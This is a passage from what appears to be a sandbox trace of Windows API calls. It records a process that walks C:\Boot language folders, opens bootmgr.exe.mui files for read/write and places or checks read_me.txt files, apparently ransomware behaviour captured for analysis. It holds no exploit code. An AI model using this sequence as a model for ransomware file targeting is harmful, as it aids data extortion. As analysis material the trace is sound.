cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.669] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 33 [0077.669] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.670] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.670] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.670] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\read_me.txt") returned 29 [0077.670] GetProcessHeap () returned 0x540000 [0077.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.670] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 15 [0077.670] GetProcessHeap () returned 0x540000 [0077.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.673] GetProcessHeap () returned 0x540000 [0077.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.673] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\*") returned 19 [0077.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.673] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\.") returned 19 [0077.673] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.673] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\..") returned 20 [0077.673] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.673] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 33 [0077.673] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.673] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.673] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.673] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\read_me.txt") returned 29 [0077.673] GetProcessHeap () returned 0x540000 [0077.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.673] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 16 [0077.673] GetProcessHeap () returned 0x540000 [0077.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.676] GetProcessHeap () returned 0x540000 [0077.676] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.676] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\*") returned 19 [0077.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.677] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\.") returned 19 [0077.677] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.677] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\..") returned 20 [0077.677] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.677] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 33 [0077.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.677] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.677] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.677] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\read_me.txt") returned 29 [0077.677] GetProcessHeap () returned 0x540000 [0077.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.678] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 17 [0077.678] GetProcessHeap () returned 0x540000 [0077.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.680] GetProcessHeap () returned 0x540000 [0077.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.680] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\*") returned 19 [0077.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.681] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\.") returned 19 [0077.681] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.681] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\..") returned 20 [0077.681] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.681] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 33 [0077.681] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.681] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.681] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.681] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\read_me.txt") returned 29 [0077.681] GetProcessHeap () returned 0x540000 [0077.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.681] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 18 [0077.681] GetProcessHeap () returned 0x540000 [0077.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.688] GetProcessHeap () returned 0x540000 [0077.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.688] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\*") returned 19 [0077.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.688] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\.") returned 19 [0077.688] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.688] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\..") returned 20 [0077.689] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.689] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 33 [0077.689] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.699] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fc110, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.699] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\read_me.txt") returned 29 [0077.699] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\read_me.txt" (normalized: "c:\\boot\\pt-pt\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.699] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.699] CloseHandle (hObject=0x7b0) returned 1 [0077.699] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fc110, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.699] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.699] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\read_me.txt") returned 29 [0077.699] GetProcessHeap () returned 0x540000 [0077.699] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.699] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 20 [0077.699] GetProcessHeap () returned 0x540000 [0077.699] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.699] GetProcessHeap () returned 0x540000 [0077.699] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.700] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\*") returned 19 [0077.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.700] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\.") returned 19 [0077.700] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.700] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\..") returned 20 [0077.700] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.700] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 33 [0077.700] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.708] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fc110, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.708] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\read_me.txt") returned 29 [0077.708] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\read_me.txt" (normalized: "c:\\boot\\sv-se\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.708] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.708] CloseHandle (hObject=0x7b0) returned 1 [0077.708] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fc110, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a6fc110, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a6fc110, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.708] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.708] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\read_me.txt") returned 29 [0077.708] GetProcessHeap () returned 0x540000 [0077.708] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.708] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 22 [0077.708] GetProcessHeap () returned 0x540000 [0077.708] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.708] GetProcessHeap () returned 0x540000 [0077.708] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.708] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\*") returned 19 [0077.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.708] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\.") returned 19 [0077.708] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a722270, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a722270, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.708] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\..") returned 20 [0077.708] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, 